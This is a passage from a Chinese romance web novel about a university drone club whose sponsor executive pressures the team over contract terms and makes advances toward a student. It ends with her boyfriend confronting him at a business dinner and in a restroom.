冯哲听得频频点头,不时提出一些问题,都围绕在技术细节和进度把控上,显得专业而投入。而那位赵工则沉默寡言,大部分时间只是默默观察,偶尔拿起某个零件仔细查看,眉头微蹙,不知在思考什么。 参观了一圈,冯哲的目光最终落在了始终安静地跟在团队一侧的夏篱身上。他脸上露出一个意味深长的笑容,突然打断了周予关于结构材料的介绍:“周社长,你们团队真是藏龙卧虎啊。尤其是这位夏篱同学,”他看向夏篱,眼神带着毫不掩饰的欣赏,“上次会谈时就令我印象很深,飞控和矢量推进算法是项目的核心难点,由一位大一的女生担纲,也不知该夸你们胆子大还是后生可畏。不如,接下来关于飞控算法和系统集成的部分,就请夏同学为我们详细讲解一下?我们也想听听最核心攻坚手的思路。” 第76章 瞬间, 所有的目光都聚焦到了夏篱身上。 周予脸上的笑容僵了一下,下意识地先看了眼唐简,然后本能地带着些乞求和期待地也看向夏篱。唐简的眼神微冷, 身子刚动,夏篱已经越过他站出来平静地迎上冯哲的目光, 脸上带着礼貌而疏离的微笑:“冯总过誉了。飞控和矢量推进算法是系统工程,离不开团队每个人的协作。不过既然冯总和赵工想了解,那我就简要汇报一下我们目前针对高级组命题‘矢量推进与仿生飞控结合’的算法框架和已实现的初步验证。” 她的声音清晰冷静,没有丝毫怯场。随即来到连接着仿真电脑的显示屏前,熟练地调出飞控算法的逻辑框图、仿真测试数据以及针对适量推进耦合优化已做关键部分隐藏式处理的部分核心代码。 夏篱的讲解条理清晰, 深入浅出, 既阐述了技术原理, 又点明了创新点和数据库验证效果, 并且重点介绍了基于强化学习的仿生飞控如何应对城市低空物流场景的复杂气流扰动,以及如何与简易矢量机构进行低延迟耦合。逻辑严密,数据支撑扎实, 甚至比周予之前的泛泛介绍更深入、更具说服力。而对于赵工随后提出的几个相当专业甚至有些刁钻的问题,她也应对得体,回答切中要害, 展现了扎实的技术功底和清晰的思路。 何晓雯在一旁偶尔补充一两个关键参数,两人配合默契。那位一直沉默的赵工, 镜片后的眼睛终于亮了起来,手指无意识地在膝盖上敲击, 似乎在心算着什么,看向夏篱的眼神里少了几分挑剔,多了几分实质性的认可。 冯哲始终面带微笑地听着,不时点头, 但夏篱能感觉得到,他看似专注的目光背后,更像是在评估一件待价而沽的商品。他问的几个问题,虽然也涉及技术,但总隐隐指向团队的资源瓶颈。 “精彩!非常精彩!夏同学真是后生可畏。”结束后冯哲鼓了鼓掌,顿了顿,紧接着又道:“当然,还有各位,你们团队的技术实力和项目进展,确实超出了我们的预期。”随后话锋又微妙一转,“尤其是这种在有限资源下,通过算法优化弥补硬件不足的策略,非常具有现实意义。看得出来,你们在‘成本控制’上话了很大心思。”他可以加重了“成本控制”四个字,目光似有若无敌扫过实验室里那些了,也显陈旧的设备和桌上摊开的、明显经过反复比价的采购清单。 周予脸上的肌肉抽动了一下,笑容有些勉强。冯哲这话,等于隐晦地点破了他们团队目前最窘迫的现状——缺钱。这种被当面揭短的感觉,让在场的几个核心成员心里都有些不太舒服。 “创新往往诞生于约束。”唐简突然开口,声音不大,却带着一种不容置疑的沉稳,“正是因为资源有限,才迫使我们去寻找更高效、更巧妙的解决方案。这对工程实践来说,是宝贵的经验。”他站在夏篱侧后方,姿态看似随意,却无形中形成了一种回护的姿态。 冯哲挑眉看了唐简一眼,笑了笑,没再继续这个话题,转而看向赵工:“赵工,你看从技术角度……” 赵工推了推眼镜,言简意赅地提了几个相当专业的问题,主要集中在算法鲁棒性测试和极端工况下的失效模式分析上。夏篱和何晓雯一一作答,显然早有准备。赵工听完,脸上难得地露出一丝近乎满意的表情,对冯哲微微的点了点头。 整个参观和讲解过程持续了快一个小时。 “非常感谢各位的详细介绍,”最后冯哲站在实验室门口,笑容可掬地与周予握手,“今天收获很大,我对你们的项目更有信心了。合作细节我们回去后会尽快内部讨论,然后根据今天了解到的最新进展,起草一份更具体的方案发给周社长。 “好的好的,麻烦冯总和赵工了!”周予连忙应承,心里却因为对方的“尽快”而再次提了起来。 十一点多,冯哲和赵工起身告辞,周予和陈默送他们下楼。 实验室门关上的瞬间,气氛并没有变得轻松。 “靠!他最后那话什么意思?‘成本控制’?不就是变相说我们穷吗?”看到两人回来,王海第一个憋不住,烦躁地抓了抓头发。 “实话啊,”何晓雯看了他一眼,“我们本来就穷。” “……” “商人逐利,看到我们的短板很正常,”陈默还是淡淡地,“关键是他看到了,是打算利用,还是真心想补足。” 周予重重叹了口气,瘫坐在椅子上:“我现在心里更没底了。你们觉得他们到底什么意思?” “那个赵工像是真懂技术的,态度也务实。”何晓雯客观评价。 “但那个冯总……”张铭轩看了夏篱一眼,犹豫了一下,“太滑了,看不透。” “看不透才正常吧,不然人一个在商场混了多少年的老油条被我们几个新瓜蛋子看透了,那也太悲催了。”孙翡倒是一针见血点破了。 “……” “……” 对于冯哲模棱两可的态度,几个人你一言我一语的各抒己见,甚至都忘了午饭时间。 孙翡这时候蹭到夏篱身边,用指尖轻轻敲了敲她握着鼠标的手,小声问了句,“宝儿,你还好吧?” 夏篱扭头看她眨了眨眼,“挺好的啊,怎么了?” 孙翡赶忙对她笑笑,“嗯嗯,挺好的就好,我就是怕你不开心。” 夏篱以为她是在说赞助的事,也冲她笑了笑,“好好的我干嘛不开心啊,学生拉赞助这事原本就不好搞,在哪都一样。” 孙翡看着她有些欲言又止,少顷还是没忍住,坐到夏篱椅子扶手上,弯腰凑到她耳边说,“反正你以后小心着点那个叫冯哲的啊!就算是赞助的事,你让社长他们去管,你别插手了,让他们男生去弄!” 夏篱静了静,扭头看着孙翡没说话。 孙翡眼里的担心显而易见,皱眉看着她一副难以启齿却又不能不说的模样,低声道,“……我总觉得那个冯哲不太行,我希望是我太敏感了想多了……但你能躲着他点就躲着他点吧。” 夏篱没想到除了唐简还有人细心地察觉到这点小细节——今天两人甚至连手都没握。她一时有些不知如何反应,以至好一会儿过去,她才笑着对孙翡点了点头,“好,我知道了。谢谢你,翡翡。” “谢我干啥呀,我又啥忙也帮不上。”孙翡松口气——虽然她也清楚以自己对夏篱的了解,她并非那样的人,但还是担心自己说出来后会让她觉得自己思想龌龊,没事把人总往坏处想,尤其还是现阶段想要帮助他们的人。 夏篱闻言却是笑着拍了拍她的手,没再说什么。 然而让众人更意外的是,十二点多在他们终于“讨论”到一个阶段准备去吃午饭时,冯哲那边居然就又给周予打过来了电话,以至于昨天的场景在众人眼前重现。 “安静安静!”周予晃着手机,“冯哲电话冯哲电话!” 实验室里瞬间鸦雀无声。 电话接通,冯哲那带着笑意的、略显公式化的声音通过扬声器传了出来,在落针可闻的实验室里格外清晰:“周社长,没打扰你们吃午饭吧?” “没有没有,”周予努力让自己的声音听起来平静自然,但微微前倾的身体和紧盯着手机屏幕的眼神还是泄露了他的紧张。 “是这样,”冯哲的语气依旧不疾不徐,“今天去了学校之后,赵工对咱们的项目更是赞赏有加。这不,回来路上就迫不及待催着我跟公司电话紧急开了个会。毕竟得充分考虑你们学生团队的特殊性嘛,所以之前谈好的正式合同草案条款方面我们决定做些优化,这个我已经让法务部门加紧重新拟定了,最晚下周一就能给你们发过去。” 夏篱指尖一动,下意识扭头和不远处的唐简对视了一眼。 周予的心脏“咚咚”直跳,强压着激动问:“优化?冯总您的意思是?” “主要是两个方面,”冯哲的声音带着一种掌控节奏的从容,“一是前期赞助资金的额度,我们考虑在之前沟通的基础上再上浮百分之二十,希望能更切实地解决你们项目初期的燃眉之急。” 百分之二十! 周予的眼睛瞬间亮了起来,几乎要忍不住欢呼出声,其他人脸上闻言也是掩不住的喜色! 雪中送炭!雪中送炭啊! 然而冯哲接下来的话却又让所有人上扬的嘴角瞬间僵在原地。 “二是关于知识产权和后续权益的部分,”冯哲顿了顿,仿佛在斟酌词句,“考虑到公司需要投入是实实在在的资源,并且希望建立一种更长期、更稳固的战略伙伴关系,而不是简单的一次性赞助,我们希望在独家合作期限上能有一个更明确的保障。草案中可能会将独家赞助及优先合作圈的期限,从原先设想的项目周期内,延长至项目结束后三年。” “三年?!”周予没忍住声音拔高了一瞬。 “周社长别误会,”冯哲立刻解释道,“这并非恶意捆绑。恰恰相反,这正是我们看好你们团队长期价值的体现。这三年的独家期,意味着我们将持续投入资源帮助你们进行技术深化和成果转化。想想看,如果项目成功,这三年的深度绑定,无论是对于你们团队成员未来的发展,还是对于技术本身的迭代升级,都是大有裨益的。这期间产生的任何新的专利或商业化成果,权益分配会严格按照合同执行,绝不会损害你们的根本利益。” 这番话说得冠冕堂皇,仿佛一切都是为了团队着想。但延长独占期,无疑大大增加了团队的风险和未来的不确定性。三年时间,技术迭代飞快,如果被锁死在一家合作方,很可能错失其他更好的机会。 周予的兴奋冷却了大半,眉头皱了起来,笑声有些僵硬:“冯总,这个期限……时不时有点太长了?我们毕竟是学生项目,主要还是想专注于比赛本身……” “我理解,”冯哲打断他,语气依旧温和,“但商业合作讲究的是共赢和风险共担。我们提供远超一般学生项目赞助标准的资源,自然也希望获得相应的、对等的保障。这只是草案的一个初步设想,具体年限我们还可以再协商。这样吧,等正式草案发过去,你们团队先内部仔细研究一下,有任何疑问或者建议你,我们随时沟通,好吗。” 虽然如此说,但冯哲随后便客气地挂断了电话,留下实验室里一片沉寂。 “靠!”周予一把把手机拍在桌子上,终于忍不住低骂了一声,“我就知道没这么简单!三年独占期!他怎么不说三十年呢?他怎么不说让老子一辈子卖给他算了!” 刚才的喜悦荡然无存,取而代之的是一种被算计的憋闷感。冯哲先给个甜枣再挥个大拳,这种典型的商业谈判手段,真是快把周予气炸了。 “看来增加赞助是诱饵,延长独占期才是真实目的。”陈默哼了声,摇摇头总结,“这么看他们确实很‘看好’我们,看好到想用合同把我们牢牢拴住。” ——叮咚。 被周予反扣在桌上的手机这时突然又响了一声。 此时他虽然气不打一处来,但还是没忍住拿起来看了眼,然后……脸色突然变得有些奇怪。他抬头看向夏篱和唐简:“冯哲……又发了条消息过来。” “说什么?”一旁的陈默问了句。 “他说……”周予的表情有点难以形容。 他低头又看了一眼那条措辞礼貌却隐含暧昧邀请的消息,手指微微发紧,抬头看看夏篱又去看唐简,“他说……明天晚上在大学城附近的‘云顶’餐厅有个小型行业交流会,有不少投资人和技术专家参加,邀请我一起,顺便……让我问问夏篱学妹,有没有兴趣一起去看看,拓展下人脉和更专业的人聊一聊可能会对我们项目更有帮助,他可以帮忙引荐。” “云顶餐厅?”孙翡闻言嗓音一下就破了。 那可是大学城附近最高档的西餐厅,消费不菲不说,更是情侣约会告白的不二之选。一个科技公司的副总,邀请一个女大学生去那种地方参加所谓的“行业交流会”? “去他妈的吧!”孙翡大骂道! 第77章 “云顶餐厅?行业交流会?”孙翡一步跨到夏篱身边, 像是要挡住什么无形的攻击,“拒绝社长!马上拒绝!那个冯哲分明没安好心!篱篱不能去!” 王海和张铭轩面面相觑,明白过来怎么回事之后, 脸上瞬间也满是愤慨之色,低声骂了句“下作”。 周予脸色也很难看, 握着手机的手指关节都泛了白。 他当然知道冯哲这邀请不正常,但另一方面,那个“增加百分之二十赞助”的承诺就像魔鬼的低语,一直在他耳边回响。 冯哲这一手,简直是直接把难题直接甩给了他这个社长。 答应?绝无可能。这不仅是对夏篱的侮辱, 也是对整个团队的践踏。 拒绝?刚刚电话里提到的“优化”赞助就像个笑话, 对方显然图谋更深, 直接拒绝很可能意味着合作彻底告吹, 甚至可能引来对方的不快和后续麻烦。 夏篱站在原地,脸上没什么表情,但紧抿的嘴唇和微微泛白的指节泄露了她内心的波澜。她不是不谙世事的小女孩, 冯哲那种看似彬彬有礼实则充满算计和审视的目光,以及此刻这条越界的邀请,其含义再清楚不过。一股恶心感涌上心头, 但更多的是一种被冒犯的怒火。 周予张着嘴,脸色一阵青一阵白。 “这有什么好犹豫的啊?!”孙翡气得跺脚, “直接拒绝啊!难道为了点赞助,你想让篱篱去冒这种险?谁知道那个冯哲打的什么主意!” “我不是那个意思!”周予急忙便捷, 额头上都急出了汗,“我当然知道不能答应!可是……万一得罪了他,赞助是不是就彻底慌了?我们……”他看向夏篱,眼神里充满了矛盾和愧疚, “学妹,我……” 就在周予不知该如何处理这烫手山芋时,唐简动了。 他没有看周予,也没有看任何人,而是在所有人惊愕的注视下,伸出手,不是简单的触碰,而是直接、坚定地穿过夏篱紧绷的手指,与她十指紧紧相扣。他的手掌宽大温热,带着一种不容置疑的力量,将夏篱微凉的手完全包裹着。 这是他们第一次在团队众人面前,展现出超越队友甚至是发小的亲密。动作自然却又带着一种宣告般的正中。 夏篱的心猛地一跳,下意识地抬眼看向唐简。他侧脸线条绷得有些紧,下颌微收,眼神是前所未有的冷冽,但握着她的手却稳如磐石,传递过一股令人安心的暖流。她指尖微微颤了一下,随即放松下来,任由他紧紧握着,甚至下意识地回握了一下。 这细微的互动落在众人眼中,含义不言自明。 孙翡瞪大了眼睛,瞬间忘了愤怒,嘴巴张成O型。何晓雯推眼镜的手顿在半空,镜片后的目光闪过一丝了然。王海和张铭轩等人则是满脸震惊,看看唐简,又看看夏篱,最后看向周予。 周予也愣住了,他没想到唐简会以这种方式,在这种场合直接挑明。 唐简这才将目光转向周予,声音平静,却带着一种难掩的冰冷,“可以。答应他。” “你疯了?!”没等周予回话,孙翡瞬间就炸了,抓住夏篱另一只手就想把她拉到自己身边,“篱篱不准去!” 周予和余下众人反应差不多,视线在夏篱和唐简之间飞快转动,迟疑又尴尬,“这……” 反观当事人夏篱,即使在听到唐简“帮”她应下这份明显不怀好意的“邀约”时,她脸上也并未显示丝毫不快,安抚似的捏了捏紧拽着自己的孙翡的手,随后也看向周予点了点头,“他既然敢约我们两个一起,说明交流会是真的,这样对我们反而是个机会。” “可是……可是这毕竟——”周予犹豫不决。 “社长,”夏篱说,看着周予的目光仿佛有种洞察人心的魔力,“我知道你之所以想要紧紧抓住凌空科创是因为在找赞助这条路上你确实已经很努力了,可大学生创业拉投资尚且难上加难,更何况我们还只是个在校生参加比赛的一个小小项目。我们学校这几年在国际赛事上成绩平平,要想找到合适甚至是慷慨的投资人简直是难如登天。你虽然从来没说过,但我相信你在外一定碰了不少壁,可能连对方的负责人都很难见到,更别提说上两句话了。” 她顿顿,笑了笑,“冯哲迟迟不愿发正式合同,甚至一再在合同条款上打压我们,大概就是为了这一刻。想着等我们这个小小的在校生项目团队在交流会上认识到自己的渺小,那他对我们更是手拿把掐……相信我,等明天晚上一过,周一就算他们发了正式合同过来,上面条款也肯定会比刚他在电话里说的更过分。 “所以,既然他给了我们机会,那明天这场交流会会成为我们的束缚还是跳板,就看我们的了。” 夏篱话音落下,实验室里陷入了短暂的寂静,只有电脑风扇运转的微弱嗡鸣。周予看着手机屏幕上冯哲挑天信息,又抬头看看面色冷峻的唐简和神情平静却目光坚定的夏篱,一时间心乱如麻。 孙翡还想说什么,被何晓雯悄悄拉了一下胳膊,示意她先别急。陈默双手揣兜,靠在墙边,视线在唐简和夏篱交握的手上停留一瞬,又移到周予纠结的脸上,最终什么也没说。 “发吧社长,等什么呢。”唐简再次开口,打破了沉默,“回复他你和阿篱,还有我,会准时赴约。” “你也要去?”周予一愣。 “当然。”唐简嘴角勾起一抹极淡的、没什么温度的弧度,“既然是‘行业交流会’,多一个人去学习,冯总应该不会介意。况且,作为团队的技术核心之一,了解行业动态也是分内之事。” 他这话合情合理,周予自然没有异议,更重要的是,有唐简同行,他心里那点因为可能“卖队友”而产生的负罪感瞬间减轻了大半。他深吸一口气,像是下定了决心,手指飞快地在手机屏幕上敲击起来。 “好了,回复了!”周予发送完消息,长长舒了一口气,仿佛刚打完一场硬仗似的。 “那……我们先去吃饭?”王海左看看右看看,试探问道。 “你们先去,”唐简对其他人道,握着夏篱的手没松开,“我和阿篱有点事要说。” 众人了然,虽然满是好奇和担忧,但还是陆续离开了实验室。孙翡临走前还不放心地回头看了夏篱一眼,夏篱对她安抚地笑了笑。 当实验室的门被最后离开的沉默轻轻带上,空间里只剩下他们两人。 唐简转过身面对着夏篱,深邃的目光紧紧锁住她,先前在众人面前的冷静沉稳褪去些许,眼底翻涌着压抑的怒意。他抬起另一只手,轻轻抚上夏篱的脸颊,指尖带着微凉。 “阿篱,”他声音微微紧绷,“你相信我吗?” 夏篱看着他眼中清晰的担忧和那份因为自己可能被觊觎而燃起的怒火,心里那点因为冯哲的龌龊心思而产生的不快和恶心,奇异地被一股暖流冲散了。她甚至觉得,此刻看起来紧张又带着点“凶巴巴”的唐简,有点可爱。 她忍不住弯起眼睛,笑了起来,那笑容清澈而明亮,带着全然的信任:“信啊。就是你干嘛这么严肃?有你在我当然什么都不用担心。明天我们一起,一定可以找到合适的投资人的!” “你以为我答应你明天去,是为了找投资人?”唐简问。 “不然呢?”夏篱说,“明天确实是个好机会啊!” “……”唐简无奈地摇了摇头。 夏篱看他半晌,有些不太确定地试探,“……总不是你要去打冯哲一顿吧?” 唐简回视她好一会儿没说话,少顷只是手臂用力,将夏篱轻轻地、却不容拒绝地拥入怀中。他的下巴抵着她的发顶,声音似是低语却带着斩钉截铁的承诺: “我不会让任何人欺负你。”他收紧手臂,将她更深地揉进怀里,“谁都不行。” 夏篱的脸颊贴着他胸口微凉的夹克外套,能听到他胸腔里有力而稍快的心跳。她安静地靠在他怀里,感受着这份令人安心的庇护。过了一会儿才轻声开口,声音带着笑意,却也有认真的考量:“我知道。我从来不担心自己会被欺负,”她顿了顿,抬头看他,眼神清亮,“我只是有点担心你。” “嗯?”唐简微微松手,低头询问地看着她。 “我担心你为了我,会冲动,会做出什么不可挽回的事情。”夏篱看着他,语气虽带着一丝调侃,却也藏着真实的忧虑。 随着如今两人身份的转变,她也越来越“理解”唐简,也更了解他的脾气。 想当初二人还是“发小”时,他就能在众目睽睽下因为陆子航对她的一句冒犯而想要愤起打人,如今他们从发小变成了更加亲密的男女朋友,保不准这次他想要动手,她就真的无法像上次一样成功阻止住呢。她相信此时他看着冷静沉稳,但一旦触及他底线,那股狠劲和不管不顾的冲动,是能掀翻天的。 唐简闻言,挑眉反问:“你不相信我?” 夏篱故意眨了眨眼,搞怪地用力点了一下头,拖长了声音:“嗯哼——” 唐简垂眸看着怀中人眼底狡黠的光,心底最后那点因为冯哲而起的戾气也被驱散了,只剩下满溢的温柔与无奈。 秋日午后的阳光透过实验室高窗,在两人周身织就一层暖金色光晕。空气中漂浮的细微尘埃仿佛也放缓了脚步,连电脑风扇的嗡鸣都变得遥远。 唐简的拇指轻轻摩挲着她脸颊细腻的皮肤,目光从她明亮的眼眸缓缓下移,落在她微抿的唇上——那抹粉色像初春枝头的花苞,让他喉结不自觉滚动了一下。 夏篱迎着他那似曾相识的目光,心跳骤然漏了一拍,喉咙不觉也跟着轻轻一动。这次,她主动紧紧地闭上了眼。 这动作无疑像是默许,唐简扣在她腰间的手无意识地收紧,心脏擂鼓,几乎要跳出他的耳膜。 热息越靠越近,下一秒,唐简的唇轻轻覆了上来。没有汹涌的掠夺,只有小心翼翼的试探,像怕惊扰了易碎的珍宝。他的唇带着微凉的温度,却瞬间点燃了她皮肤上的每一寸神经。 夏篱僵在原地,指尖紧紧攥着他的衣角,连呼吸都忘了。唇瓣相贴的触感陌生又灼热,让她大脑一片空白,只剩下擂鼓般的心跳在耳边轰隆作响。唐简似乎也被这突如其来的亲密弄得有些紧张,指尖微微发颤,却舍不得松开分毫。 初时的触碰带着小心翼翼的试探,只是唇瓣相贴,温热而干燥。然而这蜻蜓点水般的接触却像点燃了引信,瞬间引爆了积压已久的情绪。唐简的手臂猛地收紧,将她更深地揉进怀里,唇上的力道也随之加重,从最初的轻柔摩挲,逐渐变得急切而深入。 这一瞬间,夏篱所有的感官似乎都集中在了唇齿之间。她能感受到他唇瓣的灼热、微微的颤抖,以及生涩却不容退缩的攻城略地。氧气变得稀薄,初尝情人间亲昵甚至还没学会如何换气息的眩晕感阵阵袭来,夏篱无力地攀附着唐简的肩膀,指尖不自觉地收紧,抓皱了他夹克的衣料。 青涩的回应在笨拙中滋生,细微的喘息被尽数吞没在这个带着不容置疑的占有欲,却又隐含无限珍视的亲吻里。 直到夏篱因为缺氧而轻轻呜咽,唐简才猛地回神,不舍地退开些许。 两人鼻尖相抵,呼吸交缠,眼底悸动清晰可见。 第78章 周日傍晚, 周予站在校门口,看着并肩走来的唐简和夏篱时,眼睛瞬间直了。 唐简难得地脱下了一贯的休闲夹克和工装裤, 换上了一身剪裁合体的纯黑色衬衣和西装。西装面料挺括,完美勾勒出他宽肩窄腰的挺拔身形。他没有打领带, 衬衫领口随意地解开两颗扣子,少了几分刻板的正式,多了几分随性的不羁,但眉眼间的冷峻和沉稳,却让他看起来丝毫不像是个在校大学生, 反而带着一种超越年龄的压迫感。尤其……配上他短刺的头发, 远远冲他走来, 还真有那么几分“西装暴徒”之感。 夏篱则穿着一件丝质白衬衫, 搭配着黑色高腰西裤和一双尖头细高跟,简约利落,将她纤细的身形勾勒得恰到好处。长发在脑后束成一个低马尾, 露出光洁的额头和优美的颈部线条,清爽的搭配加上有些娃娃脸的长相竟意外地和谐,显得清纯又干练。 两人走在一起, 黑白配色,风格契合, 身高差也莫名和谐,周身萦绕着一种难以言喻的默契气场。 “我说二位……”周予嘴角抽搐, 语气酸溜溜的,“咱们是去参加行业交流会,不是去参加婚礼现场走红毯吧?你俩这……也太过分了!考虑过我这个社长的感受吗?”他扯了扯自己身上那套为了显得正式而特意翻出来的、略显局促的深灰色西装,感觉自己在旁边活像个跟班。 唐简闻言, 侧头看了夏篱一眼,眼底闪过一丝不易察觉的笑意和骄傲。 三人打车往云顶餐厅去,路上,周予还在喋喋不休地分析着可能遇到的情况和应对策略,试图缓解内心的紧张。唐简大部分时间沉默地听着,偶尔“嗯”一声,目光却始终留意着身旁的夏篱。夏篱看起来平静,但紧握着手机边缘的指尖泄露了她并非全无波澜。 云顶餐厅坐落在大学城边缘一处相对安静的高层建筑顶楼,环境雅致,视野开阔,柔和的灯光、悠扬的钢琴曲和空气中弥漫的淡淡香氛,尽显低调奢华之感。 这家以精致法餐和绝佳视野闻名的餐厅,今晚确实有一个小型的行业交流酒会,不过与其说是“行业交流会”倒更像是一个高端商务沙龙,与会者衣冠楚楚,三三两两聚在一起交谈。 冯哲在看到夏篱准时出现时,脸上立刻堆起了热情的笑容。然而,当他的视线掠过周予,看到紧随其后穿着黑色西装、身姿挺拔的唐简时,脸上的笑容几不可察地顿了一瞬,眼底飞快地掠过一丝意外和不悦——昨天周予回复他说团队里也有想要一起过来学习学习的人时,他压根假装没看到没回复,此时显然没想到周予有胆真的自作主张带了人过来不说,还是这个两次见面他其实都并不太待见的男生。 但冯哲毕竟是久经商场的老手,那点不悦几乎在瞬间就被完美的职业笑容而掩盖。 “周社长、夏同学,你们来了。欢迎欢迎。”他迎上前几步,目光现在夏篱身上停留了一秒,带着毫不掩饰的欣赏,然后才转向周予,仿佛刚看到唐简一般,故作惊讶:“这位是……唐同学?没想到唐同学也对这样的交流会感兴趣?” 唐简上前半步,不着痕迹地将夏篱挡在身后半个身位,伸出手,唇边挂着一抹淡笑,“叨扰了,冯总。作为团队的技术核心之一,多了解行业动态是分内之事。想必冯总不会介意多一个虚心学习的年轻人吧?” 他话说得漂亮,姿态也摆得足,冯哲即使心里再不痛快,也不好当场发作。他伸手和唐简一握即分,皮笑肉不笑地说:“当然不介意,年轻人有上进心是好事,你们学生常常窝在学校里,能碰到这样可以出来见见世面的机会也比较少。只是今天在场的都是些圈内的前辈和投资人,唐同学待会儿多看多听,谨言慎行就好。” 话语间,带着一丝居高临下的提醒和隐隐的警告。 “多谢冯总提点。”唐简淡淡应道,收回手,仿佛没听出他话里的深意,站回到夏篱身边。 冯哲的目光在夏篱和唐简之间微妙地停顿了一下,两人虽然没有任何亲密动作,但那种并肩而立时自然而然流露出的默契和氛围,让他隐约察觉到了什么。不过他并未将此太放在心上,想着正好能让他看看,离开了学校那一亩三分地,他们这些“天才学生”在真正的资本和资源面前,是多么不值一提。 他示意他们从路过的侍者托盘上一人取了杯红酒,然后热情地将三人引荐给方才在闲聊的其他几人:“张总,李总,这几位就是我刚跟你们提到过的,北城大学航模社的才俊,正在挑战SAE高级组的项目,很有想法也很有冲劲的年轻人。这是社长周予,这位是夏篱同学,夏同学可是飞控算法的高手哦!”他一副与有荣焉的亲昵看着夏篱笑了笑,然后再看向唐简时,语气明显平淡了许多,“这位是唐简同学,也……是团队的成员。” 被称作张总李总的两人闻言,带着审视的目光打量着这三个过分年轻的学生。其中那个明显发福的张姓中年男人对夏篱的年龄和性别表示了一丝惊讶,但更多的是一种居高临下的、看待“有潜力的年轻人”的姿态,面上带着客套的敷衍。 “张总是专投硬科技的,”冯哲言笑晏晏地给周予他们介绍起在场的两位,“不过他们基金主要看B轮以后的项目了,对你们学生团队来说,门槛还是高了点……李总是做实业的,对无人机也感兴趣,只不过更看重马上能落地的应用,像你们这种前沿探索,周期长风险大,估计不太能符合他的胃口……” 席间,冯哲展现地非常健谈。 只是表面看似帮忙引荐,话里话外却全是敲打。 “几位同学的项目很有想法,就是起步维艰啊,资源有限。我们凌空科创也是看中了他们的潜力和这股拼劲,才决定拉他们一把。” “现在的大学生,有想法是好事,但要想把想法落实,没有坚实的资源支持,难啊!” “也就是我们凌空科创,愿意在早期投入,陪他们一起成长。换作其他更看重即时回报的公司,恐怕就——” …… 周予听得脸上火辣辣的,心里憋屈,却又无法反驳,因为冯哲某种程度上说的是事实——他之前寻求外部支持的过程确实屡屡碰壁。 而其他两人听着冯哲的这番话,却只是客气地笑笑,眼神里并未流露出多少真正的兴趣。显然在他们看来,这不过是冯哲“圈养”的一个小项目,还不值得他们过多关注。但留着山羊胡的李总还是顺着冯哲的话看向周予,眼神里带着几分轻视:“小周社长,刚听冯总聊了几句,你们团队能走到现在应该不容易,但恕我直言,高校项目大多停留在理论层面,真正落地难如登天。冯总愿意给你们机会,已经时格外关照了。你们千万要懂得珍惜啊。” 周予攥紧了手里的酒杯,脸颊涨得通红。冯哲见状,故作惋惜地叹了口气:“周社长,不是我泼冷水,就你们目前那点资源,能做出简化验证机已经是极限。真要冲击高级组,没有企业在背后撑着,恐怕连参赛资格都拿不到。” 一旁的唐简则始终沉默着,慢条斯理地抿着手里的红酒,偶尔抬眼扫视一下全场,目光在冯哲和那几个人脸上停留片刻,眼神深邃,看不出什么情绪,仿佛真的只是个来见世面的“学生仔”。 而冯哲看着夏篱那张在灯光下愈发清丽动人的脸,和她面对自己时那份疏离冷静的态度,心里却像被猫抓一样痒痒的,试图开始将话题引向夏篱。他显然将她的到来视为某种意义上的“妥协”,更在意的是今天该如何利用今晚的机会,让她认清现实。 所以冯哲话锋一转,目光落在夏篱身上,只是语气瞬间柔和了几分:“不过夏同学倒是让我刮目相看,年纪轻轻就能扛起飞控算法的重任。你这样的人才,埋没在校园里实在是可惜。” “冯总说笑了,我们团队虽然资源有限,但每个人都在尽全力推进项目。”夏篱礼貌微笑,“况且技术的突破也不是靠资源堆砌,而是靠一步步的试错和优化,不是吗?” 冯哲脸上的笑容僵了一下,似乎没料到夏篱会如此油盐不进。他耐着性子继续说道:“夏同学有想法是好事,但也要认清现实。今天在场的都是行业里的前辈,比如那位王博士,他可是无人机飞控领域的权威,要是能得到他的指点,对你后续的发展一定大有裨益。” 他说这些话时,目光不经意地瞟向唐简,带着一丝不易察觉的挑衅和试探。他虽隐约感觉到夏篱和唐简关系不一般,但他并未把一个还在读大学、除了长得帅点似乎没什么特别背景的毛头小子放在眼里。 在他看来,财力、人脉、社会地位,才是能打动人的硬通货。 说着,他自然而然地绕过周予走向夏篱,伸手就想去扶她的后背,姿态亲昵得过分:“来,我带你去认识一下王博士,这可是难得的机会。” 然就在他的手即将碰到夏篱肩膀时,站在她右手边的唐简突然后错身一步,捏着红酒杯的左手腕一抖,几乎是明晃晃地“不小心”把杯中的红酒泼在了冯哲的西装前襟上。 “抱歉,冯总,”唐简放下手中的空酒杯,看着冯哲道歉,脸上却没有丝毫歉意,“手滑了。” “你!”冯哲的脸色瞬间沉了下来。 他当然看得出来唐简的故意,但显然没料到他一个学生竟敢当众给他难堪。 冯哲低头看了看胸前大片的酒渍,咬牙半晌才勉强压下怒火。 他抬头看对面冷冷看着自己的年轻男人,嘴角抽搐,恨不得当场给他回泼回去。好在他还记得自己身在何处,察觉到四周投注过来的目光,他硬是扯出一个僵硬的笑容:“没事,年轻人嘛,难免毛手毛脚。抱歉各位,”他看另外两个面面相觑的“总”,然后视线扫过目瞪口呆到惊恐万分的周予和始终面色平静的夏篱,微一颔首,一字一句道,“我去洗手间处理一下。” 说完,他阴沉着脸转身走向洗手间。而唐简在低声飞速给夏篱说了句“在这等我”后,紧随其后跟了上去。 洗手间里,冯哲正对着镜子擦拭西装上的酒渍,听到脚步声回头,看到唐简走进来,再也忍不住怒火,低吼道:“你故意的吧?你一个——” 话音未落,下一秒,冯哲只听“砰”地一声巨响,门被人用力甩上。随即他只觉领口一紧,一股巨大的力量将他狠狠地掼在了冰冷的墙壁上。 唐简力道大得惊人,几乎将冯哲整个人提离了地面。后背撞得生疼,让他眼前一黑,差点喘不过气。巨大的冲击力让冯哲闷哼一声,金丝边眼镜都歪了几分,脸上瞬间血色尽失,瞳孔里写满了惊骇。 他惊恐地抬头,对上唐简近在咫尺的眼睛。 那双眼睛里,之前所有的冷静、克制乃至冷淡都荡然无存,只剩下冰封千里的戾气和一种近乎野蛮的凶狠。 冯哲惊怒交加,想要挣扎,却发现眼前这个年轻人的手臂如同铁钳般,根本无法撼动分毫。 第79章 冯哲的惊骇只持续了短短一瞬, 随即被巨大的羞辱和愤怒取代。他整个人被死死按在冰冷的瓷砖墙上,肺里的空气被挤压得所剩无几。冯哲试图掰开唐简的手,却发现那手指如同钢浇铁铸, 纹丝不动。 缺氧的感觉让他脸颊开始涨红,他这才真正意识到, 眼前这个他一直没放在眼里的大学生,自己的身体素质和他根本不在一个层级上。 